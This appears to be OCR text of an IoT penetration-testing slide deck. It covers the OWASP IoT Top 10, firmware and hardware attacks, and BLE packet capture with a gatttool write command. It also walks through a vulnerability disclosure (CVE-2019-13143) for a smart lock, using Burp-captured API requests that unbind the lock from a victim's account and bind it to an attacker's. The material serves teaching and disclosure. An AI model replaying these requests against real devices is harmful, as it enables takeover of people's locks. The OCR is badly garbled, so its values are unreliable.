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What is loT?

*|oT is the latest technology i.e Internet of Things.

* The Internet of Things (loT) is the network of physical objects—devices,
vehicles, buildings and other items embedded with electronics, software,
sensors, and network connectivity—that enables these objects to collect
and exchange data

* World wide 50 billion devices will be connected to Internet by 2030

* Revenue growth is $1.9 trillion in 2013 to $7.1 trillion in 2020




How loT Works
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Applications of loT
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OWASP Top 10 loT

Weak, guessable, or hardcoded passwords

N

OUWASProre

Insecure network services / INTERNET OF THINGS 2°'8

Weak, Guessable, or Hardcoded Passwords
Use of e y bruteforced, publicly available, or unchangeable credentials, including
backdoors in firmware or client software that grants unauthorized access to deployed

Insecure ecosystem interfaces

Unneeded or insecure network services running on the device itself, especially those
exposed to the internet, that compromise the confidentiality, integrity/authenticity, or
availability of information or allow unauthorized remote control...

L]
Lack of secure update mechanism
Insecure web, backend API, cloud, or mobile interfaces in the ecosystem outside of the

device that allows compromise of the device or its related components. Common issues
include a lack of authentication/authorization, lacking or weak encryption, and a lack of
input and output filtering.

. Use of insecure or outdated components

device, lack of secure delivery (un-encrypted in transit), lack of anti-rollback mechanisms,
and lack of notifications of security changes due to updates.

Insecure data transfer and storage
Lack of device management
Insecure default settings

0. Lack of physical hardening
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The Attack Vectors

e Hardware
* Firmware

e Network

e Wireless Communications

* Mobile and Web applications

e Cloud API’s
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loT Pentesting Methodologies

* |oT Device hardware pentest

Internal communications Protocols like UART,I2C, SPI etc.

Open ports

JTAG debugging

Exacting Firmware from EEPROM or FLASH memory

* Tampering




Dumping flash
Memory

Source : FireEye

Open UART ports
JTAG Exploitation




* Firmware Penetration testing

* Binary Analysis

Reverse Engineering

Analyzing different file system

Sensitive key and certificates

Firmware Modification




root@kali: ~/Downloads - <]
File Edit View Search Terminal Help
s# binwalk L-WR841Nv14_EU_0.9.1 4.16_up_boot\[180319-rel57291\].bin

lib 2
init Linuxre sbin
DECIMAL HEXADECIMAL

Extraction of .bin file

root@kali: »/Downloads/squashfs-root - <]
File Edit View Search Terminal Help

11241886
11241886
11241

11241886

total 44K

Request

uxrc -> bin/busybox

r 19

19

19

X : = Hardcoded MQTT credentials

hfs

File system




e Radio Security Analysis

* Exploitation of communication protocols

* BLE,Zigbee,LoRA,6LOWPAN

* Sniffing Radio packets
e Jamming based attacks

* Modifying and replaying packets




EXPLOITING BLE 4.0 COMMUNICATION

[ [Bti2cap.cid == 0x0004 -1 4

No. Time Source Destination Prot Lengtt Info
10.. 22.8699.. SonyMobi_27:9@:c8 (Xpe.. TexasIns_B2:ffib8 () 14 Sent Find Information Request, Handles: 0x0@42..0x0042
10.. 22.B876.. TexasIns_52:ff:b8 () SonyMobi_27:90:c8 (Xperia Z3+) 15 Rcwd Find Information Response
10.. 22.8985.. SonyMobi_27:98:c8 (Xpe. TexasIns_52:ff:b8 () 14 Sent Find Information Request, Handles: BxB045..0x0045
10.. 22.9899.. TexasIns_52:7T:b8 () SonyMobi_27:90:c8 (Xperia Z3+) 15 Rewd Find Information Response
10.. 22.9207.. SonyMobi_27:98:c8 (Xpe.. TexasIns_52:ff:b8 14 Sent Find Information Request, Handles: 0xB@4a..8x004a
10.. 22.9326.. TexasIns 52:f:b8 () SonyMobi_27:90:c8 (Xperia Z3+) 15 Revd Find Information Response
10.. 22.9428.. SonyMobi 27:98:c8 (Xpe.. TexasIns 52:ff:b8 14 Sent Find Information Request, Handles: 0x0@4d..@xfFff
10.. 22.9549.. TexasIns 52:ff:b8 () SonyMobi_27:90:c8 (Xperia Z3+) 14 Revd Error Response - Attribute Not Found, Handle: ©x004d
10.. 22.9855.. SonyMobi 27:9@:c8 (Xpe.. TexasIns 52:7f:b@ () 22 Sent Write Request, Handle: @x0025
10.. 23.0057.. TexasIns 52:7f:bd ()  SonyMobi 27:90:cA (Xperia Z3+) 10 Revd Write Respanse
(x
()
(®
[
()
9]

10.. 24.9997.. SonyMobi_27:9@:c8 (Xpe.. TexasIns_52.ff:b8 12 Sent Read Request, Handle: B8x002b
10.. 25.1387.. TexasIns_52:7f:b8
11. 26.5503.. SonyMobi 27

_ 14 Revd Read Response
11. 26.6558.. SDnyNDbi:Z?

16 Sent Write Command, Handle: @x002b

12 Sent Read Request, Handle: 0x@02b

14 Rovd Read Response

16 Rcvd Handle Value Notification, Handle: 0OxB@2b

190:c8
190:c8

SonyMobi_27:90:cA (Xperia Z3+)

pe.. TexasIns 52:fF:bg ()

pe.. TexasIns 52:fF:bg ()
SonyMobi_27
SonyMobi_27:

11. 26.7476.. TexasIns_52 b3
11. 26.9911. TexasIns_52 b8

1c8 (Xperia Z3+)
:c8 (Xperia Z3+)

e e PP PP PR R

L 3 16 Sent Write Command, Handle: Bx882h
11.. 27.47RR. TexasTns § H SonvMnhi 27:908:cR (Xneria 73+) 16 Rewd Handle Walue Notification. Handle: QxFA2h . . . .
b Frane £109: 16 bytes on wire (128 bits), 16 Oyces caprured (128 b1t :~# hcitool -1 hcil leinfo 8C:8B:83:52:FF:B8
» Bluetooth ) . )
» Gldecootn HCT ACL packet Requesting information ...
w Bluetooth L2CAP Protocol

Length: 7
CID: Attribute Protocol (8xBe@4)

Bluetooth Attribute Protocol

« Opcode: Write Command (6x52)

Authentication Signature: False

1 Command: True

Handle: 70 (0x0046)

4

LMP Version: 4.0 (0x6) LMP Subversion: 0x132

1 9 < Hethod: Write Remest (0x12) Manufacturer: Texas Instruments Inc. (13)
T ko (oerri2)]
Value: deffffff

Features: 0Ox01 Ox00 O0x00 O0x00 Ox00 Ox00 Ox00 0Ox00

BEEE 02 40 B0 G6b 80 B7 60 @4 06 52 2b B0 [CHENENS 8...... .R+. [

btsnoop_hci.log

i~/Desktop# gatttool -1 hcil -b 8C:8B:83:52:FF:B8 --char-write-req -a 0x002b -n dOffo00ff

Characteristic value was written successfully
:~/Desktop# I




Analysis of radio signals using USRP




* Mobile, Web and Cloud Application Testing

Web dashboards- XSS, IDOR, Injections

.apk and .los Source code review

Application reversing

Hardcoded api keys

Cloud Credentials like MQTT, CoAP, AWS etc.




Software Tools

Hardware Level Firmware Level Radio Security

Baudrate.py Binwalk Gatttool

Esptool Strings hcitool
Flashrom IDAPro GNURadio
Minicom Radare2 Killerbee

Screen Qumu




Hardware Tools

 HackRF One

 GREAT SCOTT GADGETS

HackRF

Bus Pirate

Zigbee Sniffer

o> 00008

Chip whisperer

TTL-USB Converter




Smart Lock Disclosure

FB30 Smart Lock Vulnerahility Disclosure (CVE-2019-13143)

Posted on August 2, 2019 oy Shubham Chougule

Executive Summary

(ur securiy enginegrs found vulnerabiltes mthe B30 smrt lock mobile appcation. An inormetion isclosLre vunerabilty chaned
fogether with poor token management ead to 3 complete transter of onnership of the ock rom the Lser fo the atacker' account




Getting QR code and Lock ID

BUrp Project Intruder Kepeater window Help

[ Dashboard ITarget I Proxy Tlntruder I Repeater T Sequencer I Decoder I Comparer ] Extender I Project options I User options ]

Target: https://api.oklock.com.cn /(

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex

POST /oklock/lock/queryDevice HTTP/1.1 A HTTP/1.1 200

User-Agent: nokelockTool/1.4.8(Android 7.1.2 ; Xiaomi/Redmi 4) r Server: nginx/1.13.3 QR CODE

clientType: Android Date: Thu, Ol Aug 2019 12:05:33 GMT

token: 7nnmaSSSSEEEESESESEEAA Content-Type: application/json

language: GB Content-Length: 357

appVersion: 1.4.8 Connection: close

Content-Type: application/json;charset=UTF-8

Content-Length: 27 {"result":{"alarm":0 chipType":"1","createAt":"2019-05- 14

09:32:23.0", "deviceld": = ,"firmwareVersion":"2.3","gsmversion":"" 1sLock":0,"lo
ckKey":"69,59,58,0,26,6,67, 90 73,46,20,84,31,82,42,95", "lockPwd" : 'nell , "mac" : " 6C: C3: 78" 9:4D", "name":"lo
ckl","radioName" : "BlueFPL" , "type" :0},"status" :"2000"}

Host: api.oklock.com.cn
Connection: close

Accept-Encoding: gzip, deflate

"mac” " 6C: C3mum——

Bluetooth MAC Address




Getting the USER ID

SUrR FIUojEcL INUUueEl REPEDLEN WINnuow Hep

[ Dashboard ITarget IPro:-:y I Intruder I Repeater I Sequencer T Decoder T Comparer IExtender T Project options I User options

1= (2.

Go Cance

Target: https://api.oklock.com.cn /(

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex
POST foklock/lock/getDeviceInfo HTTP/1.1 HTTR/1.1 200

User-Agent: nokelockTool/1.4.8(Android 7.1.2 ; Xiaomi/Redmi 4)
clientType: Android

token: 71b89555847c4elbsf 994bofeel85d3d

language: GB

appVersion: 1.4.8

Content-Type: application/json;charset=UTF-8

Content-Length: 63

Host: api.oklock.com.cn

Connection: close

Accept-Encoding: gzip, deflate

{"barcode":"https://app.oklok.com.cn/app. html71d=CFy s

QR CODE

Server: nginx/1.13.3

Date: Fri, 02 Aug 2019 07:00:09 GMT
Content-Type: application/json
Content-Length: 413

Connection: close

{"result":{"account" :"shubhchouguless. scgmail.com", "alarm": @, "barcode" : "GFYY00028614" , "chipType":"1", "createAt
"'2019-05-14

09:32:23.0", "deviceld":"", "electricity":"79","firmwareVersion":"2.3", "gsmversion':"","1d": 90410, "isLock":0,"lo
ckkey":"69,59,58,0,26,6,67,90,73,45,20,84,31,82,42,85", "LockPwd" ; "000000" , "mac" : "6C: C3: 74:DB: 22:4D", "name" ;" 1o
ck1", "radioName" : "BlueFPL", "type":0, "userld" : Some ,"status":"2000"}

User ID




Unbind the Lock from victim’s account

Burp Project Intruder Repeater Window Help

i [VDashboard ITarget TProxy I Intruder IRepeater ] Sequencerﬁ Decoder I CompareriI Extender I Project options I User options

[1x]2x]ax]ax]sx]6x]7x]8x [ioks

Go ancel <y > |y Target: https://api.oklock.com.cn

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex

posT /oklock/lock/unbind HTTP/1.1 A HTTP/1.1 200

User-Agent: nokelockTool/1.4.8(Android 7.1.2 ; Xiaomi/Redmi 4) r Server: nginx/1.13.3

clientType: Android Date: Thu, Ol Aug 2019 12:16:49 GMT
token: 16bed42dab1448528d4c7eedc3she3ec Content-Type: application/json
language: GB Content-Length: 29

appVersion: 1.4.8 Connection: close

Content-Type: application/json;charset=UTF-8

Content-Length: 33 {"result":"","status":"3001"}

Host: ap1.oklock.com.cn
Connection: close
Accept-Encoding: gzip, deflate

{"lockId" : " mumd0", "userId":Somem




Bind the Lock to attacker’s account

Burp Project Intruder Repeater Window Help

{Dashboard [Target [H Ilntruder I Repeater [ Sequencer I Decader [ Comparer I Extender [ Project options XUser options }

x| 2.

Go Cancel Target: https:/japi.oklock.com.cn /

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex
FOST /oklock/Llock/bind HTTR/1.1 A HITR/L.1 200
User-Agent: nokelockTool/1.4.8(Android 7.1.2 ; Xizomi/Redm 4) I Server: nginx/1.13.3
clientType: Android Date: Thu, O1 Aug 2019 11:27:32 GMT
token: 16bed42dabl448528d4c7eedc3sbe3ec Content-Type: application/]son
language: GB Content-Length: 357
appVersion: 1.4.8 Connection: close
Content-Type: application/json;charset=UTF-8
Content-Length: 57 {"result":{"alarm':0, "barcode" : " (MMwiieSsi " chipType":'1", "createdt’:"2019-05- 14
Host: api.oklock.com.cn 09:32:23.0","deviceld":"","electricity":" 79", firmeareVarsion":*2.3", " gsmersion”:"", "1d" :90410, " 1sLock":0," Lo
Connection: close ckkey":"55, 50 GGG 5, 20, 54, 31,82, 42, 95", "LockPwd" :"000000" , "mac" ; " GC N 'rare’ "o
Accept-Encoding: gzip, deflate ckl","radioName" ;"BLueFPL", "type" 0}, "status":"2000"}

{"name" :"Lock1","userId* :5oMM, "mac" :" 6C: C3: iy’ }|




Best Practices

Make hardware tamper resistant

Provide for firmware updates/patches

Specify procedures to protect data on device disposal
Use strong authentication

Use strong encryption and secure protocols

Specify Destroy method if device get break down.







